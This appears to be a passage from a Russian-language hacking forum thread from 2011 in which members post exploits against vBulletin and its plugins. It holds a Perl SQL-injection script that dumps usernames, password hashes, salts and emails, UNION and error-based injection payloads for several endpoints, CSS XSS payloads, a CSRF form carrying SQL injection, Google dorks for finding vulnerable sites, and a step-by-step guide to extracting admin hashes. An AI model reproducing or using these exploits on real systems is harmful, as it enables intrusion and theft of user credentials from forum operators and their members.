    $ua->cookie_jar({});
    sub login(@){
        my $username=shift;
        my $password=shift;
        my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');
        $req->content_type('application/x-www-form-urlencoded');
        $req->content("vb_login_username=$username&vb_login_passwor=$password&s=&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&do=login&vb_login_md5password=&vb_login_md5password_utf=");
        my $res = $ua->request($req);
    }
    sub v_request{
        #Declare
        $print = $_[0];
        $select = $_[1];
        $from = $_[2];
        $where = $_[3];
        $limit = $_[4];
        $sleep = $ARGV[4];
        if ($from eq '') {$from = 'information_schema.tables';}
        if ($where eq '') {$where = '1';}
        if ($limit eq '') {$limit = '0';}
        if ($sleep eq '') {$sleep = '10';}
         
        # Create a request
        my $req = HTTP::Request->new(POST => $ARGV[0].'/eggavatar.php');
        $req->content_type('application/x-www-form-urlencoded');
        $req->content('do=addegg&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&eggavatar=1'."' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select $select  from  $from  WHERE $where limit $limit,1),FLOOR(RAND(1)*3))foo FROM information_schema.tables GROUP BY foo)a)-- -'&uid=1&pid=1");
        # Pass request to the user agent and get a response back
        my $res = $ua->request($req);
        #print $res->content;
        if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
            {$test = $3};
        sleep($sleep);
        return $print.$test."\n";
    }
    &banner;
    print "\n#############################################################################################################\n";
    print "# EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability                                                 #\n";
    print "# Date:06-03-2011                                                                                           #\n";
    print "# Author: DSecurity                                                                      #\n";
    print "# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #\n";
    print "# Version: 2.3.2                                                                                            #\n";
    print "# Tested on: vBulletin 3.8.0                                                                                #\n";
    print "#############################################################################################################\n";
     
    #login
    login($ARGV[1],$ARGV[2]);
    #Foot print
    print v_request('MySQL version: ','@@version');
    print v_request('Data dir: ','@@datadir');
    print v_request('User: ','user()');
    print v_request('Database: ','database()'); 
    #Get user
    for($i=1;$i<=$ARGV[3];$i++){
        print "-----------------------------------------\n";
        print $id = v_request('ID: ','userid','user','1',$i-1);
        if($id =~ /(ID:)\s(.*)/){
            print v_request('Group: ','usergroupid','user','userid='.$2);
            print v_request('Username: ','username','user','userid='.$2);
            print v_request('Password: ','password','user','userid='.$2);
            print v_request('Salt: ','salt','user','userid='.$2);
            print v_request('Email: ','email','user','userid='.$2);
        }
                 
    }
     
    7 мар 2011
    2 пользователям это понравилось.
  14. Nosaer
    Nosaer Модератор
    Симпатии:
    15
    Как вариант:
    Программа: vBulletin 4.x

    Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных передаваемых через страницу настройки профайла. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

    Эксплоит:

    url(/);background:url(javascript:document.write(1337))
    url(/);width:expression(alert('www.intern0t.net'))

    Но мало вероятно, т.к. это нашли в ноябре, а 4.1.0 в декабре анонсировали.
     
    12 мар 2011
  15. onthar
    onthar Команда форума Админ
    Симпатии:
    396
    vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability

    vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability

    PHP:
    ====================================================================
    #vBulletin  4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability#
    ====================================================================
    #                                                                  #
    #         888     d8          888   _   888          ,d   d8       #
    #    e88~\888    d88   888-~\ 888 e~ ~  888-~88e  ,d888 _d88__     #
    #   d888  888   d888   888    888d8b    888  888b   888  888       #
    #   8888  888  / 888   888    888Y88b   888  8888   888  888       #
    #   Y888  888 /__888__ 888    888 Y88b  888  888P   888  888       #
    #    "88_/888    888   888    888  Y88b 888-_88"    888  "88_/     #
    #                                                                  #
    ====================================================================
    #PhilKer - PinoyHack - RootCON - GreyHat Hackers - Security Analyst#
    ====================================================================
     
    #[+] Discovered By   : D4rkB1t
    #[+] Site            : NaN
    #[+] support e-mail  : d4rkb1t@live.com
     
     
    Producthttp://www.vbulletin.com
    Version4.0.x
    Dork 
    inurl:"search.php?search_type=1"
     
    --------------------------
    #   ~Vulnerable Codes~   #
    --------------------------
    /
    vb/search/searchtools.php line 715;
    /
    packages/vbforum/search/type/socialgroup.php line 201:203;
     
    --------------------------
    #        ~Exploit~       #
    --------------------------
    POST data on "Search Multiple Content Types" => "groups"
     
    &cat[0]=1UNION SELECT database()#
    &cat[0]=1UNION SELECT table_name FROM information_schema.tables#
    &cat[0]=1UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,saltFROM user WHERE userid=1#
     
    More infohttp://j0hnx3r.org/?p=818
     
    --------------------------
    #        ~Advice~        #
    --------------------------
    Vendor already released a patch on vb#4.1.3.
    UPDATE NOW!
     
    ====================================================================
    # 1337day.com [2011-5-21]
    ====================================================================
    http://www.exploit-db.com/exploits/17314/
     
    24 май 2011
  16. Xylitol
    Xylitol Новичок
    Симпатии:
    2
    Another PoC:
    Код:
    1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
    0     _                   __           __       __                     1
    1   /' \            __  /'__`\        /\ \__  /'__`\                   0
    0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
    1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
    0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
    1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
    0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
    1                  \ \____/ >> Exploit database separated by exploit   0
    0                   \/___/          type (local, remote, DoS, etc.)    1
    1                                                                      1
    0  [+] Site            : 1337day.com                                   0
    1  [+] Support e-mail  : submit[at]1337day.com                         1
    0                                                                      0
    1               #########################################              1
    0               I'm KedAns-Dz member from Inj3ct0r Team                1
    1               #########################################              0
    0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
    
    ###
    # Title : vBulletin 4.0.x (Search) SQLi via Cross-Site Request Scripting
    # Author : KedAns-Dz
    # E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com
    # Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
    # Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com
    # Twitter page : twitter.com/kedans
    # platform : php
    # Impact : Remote SQL Injection Via Cross-Site Request Scripting (CSRF/XSRF = SQLi)
    # Tested on : [Windows XP sp3 FR] & [Linux.(Ubuntu 10.10) En] & [Mac OS X 10.6.1] & [BSDi-BSD/OS 4.2]
    ###
    # xXx < Greetings to 'indoushka' at the Jail ... and to his mother 'Rebbi Ya3tik eSber' > xXx
    ###
    
    # (!) Vulnerability Details :
    
    +> Real Provider By : D4rkB1t (d4rkb1t@live.com) | << Thanks For This Great Vulnerability Br0 (^_^) :)
    +> References : [http://1337day.com/exploits/16147]
    +> Video (By D4rkB1t) : [http://www.youtube.com/watch?v=fR9RGCqIPkc]
    
    >> You'r Can use the exploit via Cross-Site Request Scripting or Request Forgery ,
    > The vulnerability About (SQLi) in method 'post' at Page Search.php - So he is can able CSRF/XSRF
    
    
    # Proof Of Concept (f.eg) :
    
    <form action="http://localhost/search.php?do=process" method="post" name="vbform" id="searchform">
    <input type="hidden" name="type[]" value="7" />
    <input type="hidden" id="keyword" class="textbox" name="query" tabindex="1" value="[! Group Name !]" />
    <input type="hidden" name="searchuser" id="userfield_txt" tabindex="1" value="" />
    <input type="hidden" name="exactname" value="1" id="cb_exactname" tabindex="1" />
    <input type="hidden" class="textbox primary popupctrl" name="tag" id="tag_add_input" tabindex="1" value="" />
    <input type="submit" class="button" name="dosearch" value="Search Now" tabindex="1" accesskey="s"/>
    <input type="hidden" name="s" value="" />
    <input type="hidden" name="securitytoken" value="[ T0ken 4 Security ]" />
    <input type="hidden" name="do" value="process" />
    <input type="hidden" name="searchthreadid" value="&cat[0]=1) SQLi-Code-Here" />
    </form>
    
    POST Data [ HTTP dbg ] =
    
    <!--
    type[]=7&query=[Group-Name]&searchuser=&exactname=1&tag=&dosearch=Search+Now
    &s=&securitytoken=[Sec-Token]&do=process&searchthreadid=[SQL-Inj3cTi0n-Here]
    -->
    
    # (^_^) ! Good Luck ALL ...
    
    #================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
    # Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
    # + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) 
    # Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
    # gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
    # Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
    # JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)
    # www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...
    # -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
    # (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever 
    # h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
    # Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
    #================================================================================================
    
    # 1337day.com [2011-05-23]
     
    24 май 2011
    2 пользователям это понравилось.
  17. onthar
    onthar Команда форума Админ
    Симпатии:
    396
    Xylitol, hi, man! Nice to see you here =)
     
    24 май 2011
  18. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    246
    Point Market System 3.1x vbulletin plugin SQLi Vulnerability

    Код:
    #(+)Exploit Title: Point Market System 3.1x vbulletin plugin SQL
    Injection Vulnerability
    #(+)Author   : Net.Edit0r
    #(+) E-mail  : Black.hat.tm@Gmail.com<script type="text/javascript">
    /* <![CDATA[ */
    (function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
    /* ]]> */
    </script>
    #(+) dork    : intext:Point Market System 3.1x
    #(+) Versian : [3.1x]
    #(+) Category : Web Apps [SQl]
    #(+) Platform : Tested on: linux
    #(+) Download plugin : http://www.megaupload.com/?d=2R592KO0
     
    ____________________________________________________________________
    ____________________________________________________________________
     
    You must register on the site !
     
    The security problem in the file "market.Php" has been created. You
    can disable this security problem Plagn take it away.
     
    [~] Vulnerable File :
     
    #      [+]http://localhost.com/market.php?do=cat&id=[SQL]
     
    [~] SQL injection Vulnerability
         
    #      [+]-1+union+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13--
     
    #      [+]http://localhost.com/market.php?do=cat&id=-1+union+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13--
    
    
     
    [~] Full Info plugin Point Market
     
    http://www.vbulletin.org/forum/showthread.php?p=2159503#post2159503
     
    ____________________________________________________________________
    ____________________________________________________________________
     
    ########################################################################
    (+)IRANIAN Young HackerZ # Persian Gulf
    (+)Black Hat Group Member : Net.Edit0r & DarkCoder & p3nt3st3r & H3x &
    3H34N & D3adly #BHG
    (+)Sp My Best Friend : HUrr!c4nE ~ b3hz4d ~ Virangar ~ S3cR3T ~ M4hd1
    ~ Mikili ~ P0W3RFU7 ~  Ali.Erroor and all Friends
    (+)Gr33ts to : All Iranian HackerZ
    ########################################################################
    Видос
     
    17 июн 2011
  19. Dr. W@tson
    Dr. W@tson Новичок
    Симпатии:
    4
    Уязвимая страница: faq.php


    работает только при наличии английского языка.
    идем в faq.php и вводим в поиске: database
    если форум не патчен то должна появиться информация о подключении к бд
    Код:
    Database Name: forum
    Database Host: localhost
    Database Port: 3306
    Database Username: forum
    Database Password: password
    дорк: powered by vbulletin 3.8.6
    Проблему устранили в vBulletin версии 3.8.6-PL1.
     
    Последнее редактирование модератором: 17 июн 2011
    17 июн 2011
  20. p0wER
    p0wER Новичок
    Симпатии:
    41
    1. Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

    Код:
    # Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
    # Google Dork: intitle: powered by Vbulletin 4
    # Date: 20/07/2011
    # Author: FB1H2S	
    # Software Link: [http://www.vbulletin.com/]
    # Version: [4.x.x]
    # Tested on: [relevant os]
    # CVE : [http://members.vbulletin.com/]
    
    ######################################################################################################
    Vulnerability:
    ######################################################################################################
    
    Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
    
    #####################################################################################################
    Vulnerable Code:
    #####################################################################################################
    
    File:    /vbforum/search/type/socialgroupmessage.php
    Line No: 388
    Paramater : messagegroupid
    
    
    
    		
    		if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
    
    		{
    
    			$value = $registry->GPC['messagegroupid'];
    
    			if (!is_array($value))
    
    			{
    
    				$value = array($value);
    
    			}
    
    
    
    			if (!(in_array(' ',$value) OR in_array('',$value)))
    
    			{
    
    				if ($rst = $vbulletin->db->query_read("
    
    					SELECT socialgroup.name
    
    					FROM " . TABLE_PREFIX."socialgroup AS socialgroup
    
    --->					WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
    
    				
    			}
    
    
    
    ############################################################################################
    Exploitation:
    ############################################################################################
    Post data on: -->search.php?search_type=1
    	      --> Search Single Content Type
    
    Keywords :   Valid Group Message
    
    Search Type : Group Messages 
    
    Search in Group : Valid Group Id
    
    &messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
    
    ##########################################################################################
    More Details:
    ##########################################################################################
    Http://www.Garage4Hackers.com
    http://www.garage4hackers.com/showt...agegroupid)-SQL-injection-Vulnerability-0-day
    
    
    ###########################################################################################
    Note:
    ###########################################################################################
    
    Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
    customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".
    
    2. Уязвимость пашет на vBulletin 4.1.4 на движках 4.х.х тоже должна фурычить.

    Заходим, регистрируемся (не всегда обязательно, если поиск без всяких там капч и вопросов от имени гостя проходит, то рега не впёрлась).

    Запускаем лису, плагин liveHTTPHeaders.

    Вбиваем в поле поиска любую лабуду, например "4234234" и жмём enter

    В liveHTTPHeaders редактируем запрос таким вот образом, дописывая это:
    Код:
    humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*


    Отправляем запрос, выйдет ошибка Database error
    Смотрим исходный код, внизу находим хэш, записываем

    Теперь оправляем запрос на вывод соли, вот такой:
    Код:
    humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select salt from user where userid=1 and row(1,1)>(select count(*),concat( (select user.salt) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
    Опять ошибка, опять смотрим исходный код, записываем соль.

    Всё, осталось только расшифровать.

    Иногда таблица не user называется, тогда хэш мы не увидим, а увидим на месте хэша какую-то лабуду, а чуть выше виден будет префикс, вот его и дописываем в наш запрос, и тогда всё бенч будет.

    grabberz.com​
     
    11 авг 2011

Поделиться этой страницей

Загрузка...